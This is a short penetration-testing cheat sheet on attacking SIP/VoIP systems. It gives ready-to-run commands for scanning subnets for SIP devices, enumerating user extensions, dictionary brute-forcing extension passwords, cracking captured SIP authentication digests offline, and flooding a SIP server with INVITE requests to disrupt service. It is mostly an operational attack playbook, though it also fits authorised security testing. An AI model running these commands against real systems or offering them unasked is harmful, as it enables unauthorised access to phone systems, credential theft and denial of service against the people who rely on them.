Resources

Cheat sheets

Dependencies

  • SIPVicious
    • A suite of tools for auditing SIP-based VoIP systems.
      pip install sipvicious
  • Viproy VoIP Kit
    • A comprehensive toolkit for VoIP penetration testing.
      git clone [https://github.com/fozavci/viproy-voipkit.git](https://github.com/fozavci/viproy-voipkit.git)
  • Password & Wordlist Tools
    • sipcrack: For offline cracking of captured SIP digests.
    • crunch: A powerful tool for generating custom wordlists.

Commands

  • Scan for SIP Services
    • Use sipvicious_svmap to scan a subnet for responding SIP devices.
      sipvicious_svmap 192.168.99.0/24 -P 50 -s session_me
      sipvicious_svmap 10.0.50.0/24 -P 50 | awk -F'[: ]+' '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:/ {print $2}' #Hosts 
  • Metasploit Scanner
    • Use the Metasploit Framework to send OPTIONS requests and discover SIP servers.
      msf > use auxiliary/scanner/sip/options
      
  • Enumerate Extensions
    • Use sipvicious_svwar to identify valid user extensions within a given range by sending INVITE requests.
      sipvicious_svwar -P 50 -e320,330 192.168.99.20 -m INVITE -v
      cat hosts | awk -F'[: ]+' '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:/ {print $2}' # Extract IP's from the output
      cat ips.txt | xargs -I {} sipvicious_svwar -P 50 {} -e999-9999 -m OPTIONS -v
  • Brute-Force Extension Passwords
    • Use sipvicious_svcrack to perform a dictionary attack against a specific user extension.
      sipvicious_svcrack -u 320 -d pass.txt 192.168.99.20 -v
  • Offline Cracking
    • Capture SIP traffic containing authentication exchanges.
      sipdump -p Registration_success.pcap dumpme
    • Generate a custom wordlist with crunch.
      crunch 10 10 321abc_ > wordlist
    • Use sipcrack with your wordlist to crack the captured credentials offline.
      sipcrack -w /root/Trash/wordlist dumpme
  • Flood with INVITE Requests
    • Use inviteflood to overwhelm a SIP server, potentially disrupting service.
      inviteflood eth1 320 192.168.99.2 192.168.99.20 10000

Tools

Notes

Nodes